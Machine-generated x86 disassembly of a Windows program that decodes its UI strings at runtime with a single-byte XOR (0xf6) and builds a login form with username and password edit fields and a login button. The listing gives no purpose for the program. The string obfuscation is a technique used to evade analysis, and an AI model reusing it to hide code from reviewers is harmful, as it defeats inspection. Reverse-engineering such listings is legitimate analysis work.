lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x10
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0x41
push 9
push 0x48
push dword [eax]
mov eax, dword [0x450890]
mov dword [ebp - 0x2118], ecx
cmp eax, dword [edi + 4]
jle 0x410ae6
push 0x450890
call fcn.0041c9fe
add esp, 4
cmp dword [0x450890], 0xffffffff
jne 0x410ae6
push 0x43c580
mov byte [0x4506ac], 0xf6
call fcn.0041cd10
push 0x450890
call fcn.0041c9b4
add esp, 8
mov al, byte [0x4506ac]
test al, al
je 0x410af6
xor al, 0xf6
mov byte [0x4506ac], al
sub esp, 0x18
mov ecx, 0x4506ac
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410b20
sub ecx, esi
push ecx
push 0x4506ac
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0x11
mov eax, dword [0x450ac0]
mov dword [ebp - 0x2024], 0x829f9293
mov dword [ebp - 0x2020], 0x84938583
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x410baa
push 0x450ac0
call fcn.0041c9fe
add esp, 4
cmp dword [0x450ac0], 0xffffffff
jne 0x410baa
movq xmm0, qword [ebp - 0x2024]
mov al, byte [ebp - 0x2111]
push 0x43c590
movq qword [0x450854], xmm0
mov byte [0x45085c], al
call fcn.0041cd10
push 0x450ac0
call fcn.0041c9b4
add esp, 8
mov al, byte [0x45085c]
test al, al
je 0x410bf2
xor byte [0x450854], 0xf6
xor byte [0x450855], 0xf6
xor byte [0x450856], 0xf6
xor byte [0x450857], 0xf6
xor byte [0x450858], 0xf6
xor byte [0x450859], 0xf6
xor byte [0x45085a], 0xf6
xor byte [0x45085b], 0xf6
xor al, 0xf6
mov byte [0x45085c], al
sub esp, 0x18
mov esi, 0x450854
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [esi]
inc esi
test al, al
jne 0x410c13
sub esi, edx
push esi
push 0x450854
call fcn.00419530
mov edx, dword [ebp - 0x2118]
mov ecx, 0x68
mov byte [ebp - 4], 0x10
call fcn.00404820
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x410c7c
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410c72
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146ee
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450618]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x410ce1
push 0x450618
call fcn.0041c9fe
add esp, 4
cmp dword [0x450618], 0xffffffff
jne 0x410ce1
mov eax, dword [ebp - 0x2018]
mov dword [0x4504b0], eax
mov ax, word [ebp - 0x2014]
push 0x43c530
mov word [0x4504b4], ax
call fcn.0041cd10
push 0x450618
call fcn.0041c9b4
add esp, 8
mov al, byte [0x4504b5]
test al, al
je 0x410d14
xor byte [0x4504b0], 0xf6
xor byte [0x4504b1], 0xf6
xor byte [0x4504b2], 0xf6
xor byte [0x4504b3], 0xf6
xor byte [0x4504b4], 0xf6
xor al, 0xf6
mov byte [0x4504b5], al
mov ecx, 0x4504b0
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410d41
sub ecx, edx
push ecx
push 0x4504b0
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x12
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0x41
push 0x2a
push 0x48
push dword [eax]
mov eax, dword [0x4509b4]
mov dword [ebp - 0x2118], ecx
cmp eax, dword [edi + 4]
jle 0x410dc7
push 0x4509b4
call fcn.0041c9fe
add esp, 4
cmp dword [0x4509b4], 0xffffffff
jne 0x410dc7
push 0x43c540
mov byte [0x450a6c], 0xf6
call fcn.0041cd10
push 0x4509b4
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450a6c]
test al, al
je 0x410dd7
xor al, 0xf6
mov byte [0x450a6c], al
sub esp, 0x18
mov ecx, 0x450a6c
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410e00
sub ecx, esi
push ecx
push 0x450a6c
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0x13
mov eax, dword [0x4508c0]
mov dword [ebp - 0x2024], 0x829f9293
mov dword [ebp - 0x2020], 0x85859786
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x410e8a
push 0x4508c0
call fcn.0041c9fe
add esp, 4
cmp dword [0x4508c0], 0xffffffff
jne 0x410e8a
movq xmm0, qword [ebp - 0x2024]
mov al, byte [ebp - 0x2111]
push 0x43c550
movq qword [0x4506d8], xmm0
mov byte [0x4506e0], al
call fcn.0041cd10
push 0x4508c0
call fcn.0041c9b4
add esp, 8
mov al, byte [0x4506e0]
test al, al
je 0x410ed2
xor byte [0x4506d8], 0xf6
xor byte [0x4506d9], 0xf6
xor byte [0x4506da], 0xf6
xor byte [0x4506db], 0xf6
xor byte [0x4506dc], 0xf6
xor byte [0x4506dd], 0xf6
xor byte [0x4506de], 0xf6
xor byte [0x4506df], 0xf6
xor al, 0xf6
mov byte [0x4506e0], al
sub esp, 0x18
mov esi, 0x4506d8
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [esi]
inc esi
test al, al
jne 0x410ef3
sub esi, edx
push esi
push 0x4506d8
call fcn.00419530
mov edx, dword [ebp - 0x2118]
mov ecx, 0x69
mov byte [ebp - 4], 0x12
call fcn.00404820
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x410f5c
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x410f52
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146f3
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x4508fc]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c7
cmp eax, dword [edi + 4]
jle 0x410fc1
push 0x4508fc
call fcn.0041c9fe
add esp, 4
cmp dword [0x4508fc], 0xffffffff
jne 0x410fc1
mov eax, dword [ebp - 0x2018]
mov dword [0x4505d0], eax
mov ax, word [ebp - 0x2014]
push 0x43c4f0
mov word [0x4505d4], ax
call fcn.0041cd10
push 0x4508fc
call fcn.0041c9b4
add esp, 8
mov al, byte [0x4505d5]
test al, al
je 0x410ff4
xor byte [0x4505d0], 0xf6
xor byte [0x4505d1], 0xf6
xor byte [0x4505d2], 0xf6
xor byte [0x4505d3], 0xf6
xor byte [0x4505d4], 0xf6
xor al, 0xf6
mov byte [0x4505d5], al
mov ecx, 0x4505d0
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411021
sub ecx, edx
push ecx
push 0x4505d0
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x14
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x19
push 0x78
push 0x45
push 0x11
push dword [eax]
mov eax, dword [0x450708]
mov dword [ebp - 0x2118], ecx
mov dword [ebp - 0x2018], 0x9f9199ba
mov word [ebp - 0x2014], 0xf698
cmp eax, dword [edi + 4]
jle 0x4110cb
push 0x450708
call fcn.0041c9fe
add esp, 4
cmp dword [0x450708], 0xffffffff
jne 0x4110cb
mov eax, dword [ebp - 0x2018]
mov dword [0x450984], eax
mov ax, word [ebp - 0x2014]
push 0x43c500
mov word [0x450988], ax
call fcn.0041cd10
push 0x450708
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450989]
test al, al
je 0x4110fe
xor byte [0x450984], 0xf6
xor byte [0x450985], 0xf6
xor byte [0x450986], 0xf6
xor byte [0x450987], 0xf6
xor byte [0x450988], 0xf6
xor al, 0xf6
mov byte [0x450989], al
sub esp, 0x18
mov ecx, 0x450984
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411125
sub ecx, esi
push ecx
push 0x450984
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0x15
mov eax, dword [0x450800]
mov dword [ebp - 0x2024], 0x9f91999a
mov dword [ebp - 0x2020], 0x82839498
mov dword [ebp - 0x201c], 0xf6989982
cmp eax, dword [edi + 4]
jle 0x4111b2
push 0x450800
call fcn.0041c9fe
add esp, 4
cmp dword [0x450800], 0xffffffff
jne 0x4111b2
movq xmm0, qword [ebp - 0x2024]
mov eax, dword [ebp - 0x201c]
push 0x43c510
movq qword [0x450814], xmm0
mov dword [0x45081c], eax
call fcn.0041cd10
push 0x450800
call fcn.0041c9b4
add esp, 8
cmp byte [0x45081f], 0
je 0x4111cd
xor eax, eax
nop dword [eax]
xor byte [eax + 0x450814], 0xf6
inc eax
cmp eax, 0xc
jb 0x4111c0
sub esp, 0x18
mov esi, 0x450814
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x4111f0
sub esi, edx
push esi
push 0x450814
call fcn.00419530
mov edx, dword [ebp - 0x2118]
mov ecx, 0x6a
mov byte [ebp - 4], 0x14
call fcn.004046e0
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x411259
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41124f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146f8
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x45050c]
mov dword [ebp - 0x2024], 0x829f9293
mov dword [ebp - 0x2020], 0x85859786
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x4112c9
push 0x45050c
call fcn.0041c9fe
add esp, 4
cmp dword [0x45050c], 0xffffffff
jne 0x4112c9
movq xmm0, qword [ebp - 0x2024]
mov al, byte [ebp - 0x2111]
push 0x43c4d0
movq qword [0x45067c], xmm0
mov byte [0x450684], al
call fcn.0041cd10
push 0x45050c
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450684]
test al, al
je 0x411311
xor byte [0x45067c], 0xf6
xor byte [0x45067d], 0xf6
xor byte [0x45067e], 0xf6
xor byte [0x45067f], 0xf6
xor byte [0x450680], 0xf6
xor byte [0x450681], 0xf6
xor byte [0x450682], 0xf6
xor byte [0x450683], 0xf6
xor al, 0xf6
mov byte [0x450684], al
mov ecx, 0x45067c
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411340
sub ecx, edx
push ecx
push 0x45067c
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x16
push eax
mov ecx, 0x45038c
call fcn.00417640
push 0
push 0x25cf
push 0xcc
push dword [eax]
call dword [sym.imp.USER32.dll_SendMessageW]
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x4113c1
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4113b7
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4146fd
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x450a0c]
mov dword [ebp - 0x2024], 0x9f91999a
mov dword [ebp - 0x2020], 0x82839498
mov dword [ebp - 0x201c], 0xf6989982
cmp eax, dword [edi + 4]
jle 0x411434
push 0x450a0c
call fcn.0041c9fe
add esp, 4
cmp dword [0x450a0c], 0xffffffff
jne 0x411434
movq xmm0, qword [ebp - 0x2024]
mov eax, dword [ebp - 0x201c]
push 0x43c4b0
movq qword [0x450c10], xmm0
mov dword [0x450c18], eax
call fcn.0041cd10
push 0x450a0c
call fcn.0041c9b4
add esp, 8
cmp byte [0x450c1b], 0
je 0x41144d
xor eax, eax
nop
xor byte [eax + 0x450c10], 0xf6
inc eax
cmp eax, 0xc
jb 0x411440
mov ecx, 0x450c10
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411480
sub ecx, edx
push ecx
push 0x450c10
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x17
push eax
mov ecx, 0x4503c0
call fcn.00417640
push 0
push dword [eax]
call dword [sym.imp.USER32.dll_ShowWindow]
mov byte [ebp - 4], 7
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x4114f7
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x4114ed
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414702
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x4508ac]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c4
cmp eax, dword [edi + 4]
jle 0x41155c
push 0x4508ac
call fcn.0041c9fe
add esp, 4
cmp dword [0x4508ac], 0xffffffff
jne 0x41155c
mov eax, dword [ebp - 0x2018]
mov dword [0x450608], eax
mov ax, word [ebp - 0x2014]
push 0x43c460
mov word [0x45060c], ax
call fcn.0041cd10
push 0x4508ac
call fcn.0041c9b4
add esp, 8
mov al, byte [0x45060d]
test al, al
je 0x41158f
xor byte [0x450608], 0xf6
xor byte [0x450609], 0xf6
xor byte [0x45060a], 0xf6
xor byte [0x45060b], 0xf6
xor byte [0x45060c], 0xf6
xor al, 0xf6
mov byte [0x45060d], al
mov ecx, 0x450608
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4115c0
sub ecx, edx
push ecx
push 0x450608
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x18
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0xc8
push 0xd
push 0xb
push eax
mov eax, dword [0x4508cc]
mov dword [ebp - 0x2118], ecx
mov dword [ebp - 0x2018], 0xcca5a6b5
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x411668
push 0x4508cc
call fcn.0041c9fe
add esp, 4
cmp dword [0x4508cc], 0xffffffff
jne 0x411668
mov eax, dword [ebp - 0x2018]
mov dword [0x450bc4], eax
mov al, byte [ebp - 0x2111]
push 0x43c470
mov byte [0x450bc8], al
call fcn.0041cd10
push 0x4508cc
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450bc8]
test al, al
je 0x411694
xor byte [0x450bc4], 0xf6
xor byte [0x450bc5], 0xf6
xor byte [0x450bc6], 0xf6
xor byte [0x450bc7], 0xf6
xor al, 0xf6
mov byte [0x450bc8], al
sub esp, 0x18
mov ecx, 0x450bc4
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4116c0
sub ecx, esi
push ecx
push 0x450bc4
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0x19
mov eax, dword [0x4507bc]
mov dword [ebp - 0x2024], 0x9394979a
mov dword [ebp - 0x2020], 0x8586959a
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x41174a
push 0x4507bc
call fcn.0041c9fe
add esp, 4
cmp dword [0x4507bc], 0xffffffff
jne 0x41174a
movq xmm0, qword [ebp - 0x2024]
mov al, byte [ebp - 0x2111]
push 0x43c490
movq qword [0x4504f8], xmm0
mov byte [0x450500], al
call fcn.0041cd10
push 0x4507bc
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450500]
test al, al
je 0x411792
xor byte [0x4504f8], 0xf6
xor byte [0x4504f9], 0xf6
xor byte [0x4504fa], 0xf6
xor byte [0x4504fb], 0xf6
xor byte [0x4504fc], 0xf6
xor byte [0x4504fd], 0xf6
xor byte [0x4504fe], 0xf6
xor byte [0x4504ff], 0xf6
xor al, 0xf6
mov byte [0x450500], al
sub esp, 0x18
mov esi, 0x4504f8
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
mov al, byte [esi]
inc esi
test al, al
jne 0x4117b3
sub esi, edx
push esi
push 0x4504f8
call fcn.00419530
mov edx, dword [ebp - 0x2118]
xor ecx, ecx
mov byte [ebp - 4], 0x18
call fcn.00404590
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x411819
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41180f
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x414707
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x4509a8]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c4
cmp eax, dword [edi + 4]
jle 0x41187e
push 0x4509a8
call fcn.0041c9fe
add esp, 4
cmp dword [0x4509a8], 0xffffffff
jne 0x41187e
mov eax, dword [ebp - 0x2018]
mov dword [0x450928], eax
mov ax, word [ebp - 0x2014]
push 0x43c420
mov word [0x45092c], ax
call fcn.0041cd10
push 0x4509a8
call fcn.0041c9b4
add esp, 8
mov al, byte [0x45092d]
test al, al
je 0x4118b1
xor byte [0x450928], 0xf6
xor byte [0x450929], 0xf6
xor byte [0x45092a], 0xf6
xor byte [0x45092b], 0xf6
xor byte [0x45092c], 0xf6
xor al, 0xf6
mov byte [0x45092d], al
mov ecx, 0x450928
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4118e0
sub ecx, edx
push ecx
push 0x450928
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x1a
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0xc8
push 0x2c
push 0xb
push eax
mov eax, dword [0x450b88]
mov dword [ebp - 0x2118], ecx
mov dword [ebp - 0x211c], 0xf69090b9
cmp eax, dword [edi + 4]
jle 0x411976
push 0x450b88
call fcn.0041c9fe
add esp, 4
cmp dword [0x450b88], 0xffffffff
jne 0x411976
mov eax, dword [ebp - 0x211c]
push 0x43c430
mov dword [0x450594], eax
call fcn.0041cd10
push 0x450b88
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450597]
test al, al
je 0x41199b
xor byte [0x450594], 0xf6
xor byte [0x450595], 0xf6
xor byte [0x450596], 0xf6
xor al, 0xf6
mov byte [0x450597], al
sub esp, 0x18
mov ecx, 0x450594
mov edx, esp
mov dword [ebp - 0x2128], esp
lea esi, [ecx + 1]
mov dword [edx], 0
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4119c2
sub ecx, esi
push ecx
push 0x450594
mov ecx, edx
call fcn.00419530
mov byte [ebp - 4], 0x1b
mov eax, dword [0x45071c]
mov dword [ebp - 0x2024], 0x9394979a
mov dword [ebp - 0x2020], 0x9998999a
mov word [ebp - 0x201c], 0x9090
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x411a62
push 0x45071c
call fcn.0041c9fe
add esp, 4
cmp dword [0x45071c], 0xffffffff
jne 0x411a62
mov ax, word [ebp - 0x201c]
movq xmm0, qword [ebp - 0x2024]
mov word [0x450b38], ax
mov al, byte [ebp - 0x2111]
push 0x43c440
movq qword [0x450b30], xmm0
mov byte [0x450b3a], al
call fcn.0041cd10
push 0x45071c
call fcn.0041c9b4
add esp, 8
cmp byte [0x450b3a], 0
je 0x411a7d
xor eax, eax
nop dword [eax]
xor byte [eax + 0x450b30], 0xf6
inc eax
cmp eax, 0xb
jb 0x411a70
sub esp, 0x18
mov esi, 0x450b30
mov ecx, esp
lea edx, [esi + 1]
mov dword [ecx], 0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0xf
nop
mov al, byte [esi]
inc esi
test al, al
jne 0x411aa0
sub esi, edx
push esi
push 0x450b30
call fcn.00419530
mov edx, dword [ebp - 0x2118]
mov ecx, 0x6c
mov byte [ebp - 4], 0x1a
call fcn.00404590
mov byte [ebp - 4], 7
add esp, 0x44
mov edx, dword [ebp - 0x2034]
cmp edx, 0x10
jb 0x411b09
mov ecx, dword [ebp - 0x2048]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x411aff
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41470c
push edx
push ecx
call fcn.0041c8b0
add esp, 8
mov eax, dword [0x4508c4]
mov dword [ebp - 0x2018], 0x9298819e
mov word [ebp - 0x2014], 0xf6c4
cmp eax, dword [edi + 4]
jle 0x411b6e
push 0x4508c4
call fcn.0041c9fe
add esp, 4
cmp dword [0x4508c4], 0xffffffff
jne 0x411b6e
mov eax, dword [ebp - 0x2018]
mov dword [0x450730], eax
mov ax, word [ebp - 0x2014]
push 0x43c3f0
mov word [0x450734], ax
call fcn.0041cd10
push 0x4508c4
call fcn.0041c9b4
add esp, 8
mov al, byte [0x450735]
test al, al
je 0x411ba1
xor byte [0x450730], 0xf6
xor byte [0x450731], 0xf6
xor byte [0x450732], 0xf6
xor byte [0x450733], 0xf6
xor byte [0x450734], 0xf6
xor al, 0xf6
mov byte [0x450735], al
mov ecx, 0x450730
mov dword [ebp - 0x2048], 0
mov dword [ebp - 0x2038], 0
mov dword [ebp - 0x2034], 0xf
mov byte [ebp - 0x2048], 0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411bd0
sub ecx, edx
push ecx
push 0x450730
lea ecx, [ebp - 0x2048]
call fcn.00419530
lea eax, [ebp - 0x2048]
mov byte [ebp - 4], 0x1c
push eax
mov ecx, 0x4503a0
call fcn.00417640
mov ecx, dword [0x44eab8]
push 0x14
push 0x3b
push 0xa
push 0x26
push dword [eax]
mov eax, dword [0x4506e4]
mov dword [ebp - 0x2118], ecx
mov word [ebp - 0x211c], 0xc4c7
mov byte [ebp - 0x2111], 0xf6
cmp eax, dword [edi + 4]
jle 0x411c77
push 0x4506e4
call fcn.0041c9fe
add esp, 4
cmp dword [0x4506e4], 0xffffffff
jne 0x411c77
mov al, byte [0x450cae]
test al, al
je 0x411c95
push 6
mov dword [ebp - 0x2138], 0
call fcn.0041d98d
call fcn.00426c99
call fcn.00426c99
push eax
call fcn.0041d960
push eax
call fcn.0041d960
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.00426c99
call fcn.004260ea
push 6
mov dword [ebp - 0x2130], 0
call fcn.0041d98d
push 1
call fcn.0041d98d
int3